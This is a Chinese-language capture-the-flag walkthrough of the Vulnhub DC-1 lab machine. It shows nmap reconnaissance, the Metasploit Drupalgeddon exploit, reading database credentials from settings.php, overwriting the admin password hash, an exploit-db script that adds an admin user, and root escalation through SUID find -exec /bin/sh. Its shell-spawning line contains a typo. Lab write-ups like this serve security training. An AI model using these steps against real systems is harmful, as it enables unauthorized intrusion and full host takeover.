配置信息: 靶机下载地址:Vulnhub-DC 靶机:DC1 (VirtualBox) IP:192.168.67.200 攻机:Kali (Local) IP:192.168.67.109 目标:获取5个flag 开始游戏:
nmap -sn 192.168.67.0/24 获取目标IP地址:192.168.67.200 扫描目标信息: nmap -A -p- 192.168.67.200 获取目标开放端口:22 [ssh] || 80[http] || 111[rpc] 获取目标系统信息:Linux 3.2 - 3.16 发现开放80端口,因此尝试登录网页,浏览器输入:http://192.168.67.200 左上方发现CMS为Drupal
CMS:Drupal7 Web servers:Apache2.2.22 Programming languages:PHP5.4.45 Operating system:Debian JavaScript libraries:JQuery1.4.4 jQuery UI1.8.7 使用 wappalyzer 插件确认获取网站相关信息: 注:Wappalyzer是一款能够分析目标网站所采用的平台构架、网站环境、服务器配置环境、JavaScript框架、编程语言等参数的网站技术分析插件
确认 CMS 为 Drupal,利用msfconsole获取meterpreter:(use rank:excellent) search drupal use exploit/multi/http/drupal_drupageddon show options set RHOSTS 192.168.67.200 exploit 在meterpreter下获取交互式反弹shell: meterpreter > shell python -c 'import pty;pyt.spawn("\bin\sh")' $ ls 输入命令 ls 发现有一个 flag1.txt,果断查看它,这就得到了flag1 $ls $cat flag1.txt cat flag1.txt Every good CMS needs a config file - and so do you 每一个好的 CMS 都需要一个配置文件,你也如此。 根据falg1的提示,利用搜索引擎查询Drupal的配置文件 得到一个地址:/sites/default/settings.php —— 利用 more 查看全部信息 获取 flag2,这就得到了第二个 flag2 $more sites/default/settings.php more sites/default/settings.php <?php /** * * flag2 * Brute force and dictionary attacks aren't the * only ways to gain access (and you WILL need access). * What can you do with these credentials? * */ 暴力破解和字典攻击并不是取得访问权限的唯一方式(你需要访问权限),利用这些凭证你能做什么? 这是 flag2 给我们留下的信息,再回看该配置文件,会发现这里有关于数据库的详细信息: $databases = array ( 'default' => array ( 'default' => array ( 'database' => 'drupaldb', 'username' => 'dbuser', 'password' => 'R0ck3t', 'host' => 'localhost', 'port' => '', 'driver' => 'mysql', 'prefix' => '', ), 尝试进入 mysql : $ mysql -h localhost -u dbuser -p mysql -h localhost -u dbuser -p Enter password: R0ck3t show databases; use drupaldb; show tables; select * from users; 查询有哪些表时,可以很明显的看到有 users 这个表,果断 select 一发再说 这就得到了用户名和一串奇奇怪怪的密码,再次利用搜索引擎,可搜索:drupal7忘记密码怎么办?drupal7如何重置密码?drupal7如何修改密码?类似这些问题,让开发者或研究人士告诉我们答案 还真告诉了,直接重置管理员密码登录。 exit $ls $php ./scripts/password-hash.sh 123456 mysql -h localhost -u dbuser -p Enter password:R0ck3t use drupaldb; update users set pass='$S$DQZsZLqxCbnNCRuvOFCQBC2snsbkjGrH3Xw4nqxxhuYIONkuC4dP' where name='admin'; 登录成功 有时直接修改太过明目张胆,那么有没有较隐蔽的方法呢?有什么比较隐蔽的方法能够也是以管理员的身份去登录的呢?要不试试添加一个管理员帐号?
首先得知道版本号,看能否利用,一般在modules/system/system.info可以看到版本号,如果不知道,利用搜索引擎也可得知这一信息: cat modules/system/system.info 得到该Drupal的版本为7.24
在kali上查询是否存在添加管理员漏洞可利用: searchexploit drupal 发现有 Add Admin User 可以利用且版本符合条件 copy一份到家目录下,随后添加一个具有管理员权限的账户 cp /usr/share/exploitdb/exploits/php/webapps/34992.py /root/34992.py cd ~ python 34992.py -h python 34992.py -t http://192.168.67.200 -u whoami -p 123456 登录成功 随后浏览页面[每个按钮都去点],看有无新发现,在find content找到了flag3
点击 flag3,可以获得flag3详细信息:
特殊的PERMS可以帮助找到密码-但您需要-exec该命令来隐藏的内容。
很明显的提示:find+perms+exec 命令用来提权
首先利用 find 命令查看有哪些 suid 命令:
find / -perm -4000 利用 find 提权,find 提权有两种方式:
/这是第一种/ find ./ acce -exec '/bin/sh' \; /这是第二种/ touch bcce find bcce -exec '/bin/sh' \; 这就拿到了 root 权限,查找有无flag4
可以发现 flag4 是一个用户… find / -name "flag4 cd /home/flag4 cat flag4.txt 你能利用同样的方法用root权限找到或访问到flag吗? 貌似我们已经进入了root环境下,竟然flag4在家目录下,那么flag5会不会在root目录下? —— 找到 flag5:thefinalflag
游戏结束 总结:0:MSF 漏洞模块利用1:配置文件2:搜索引擎的合理应用3:提权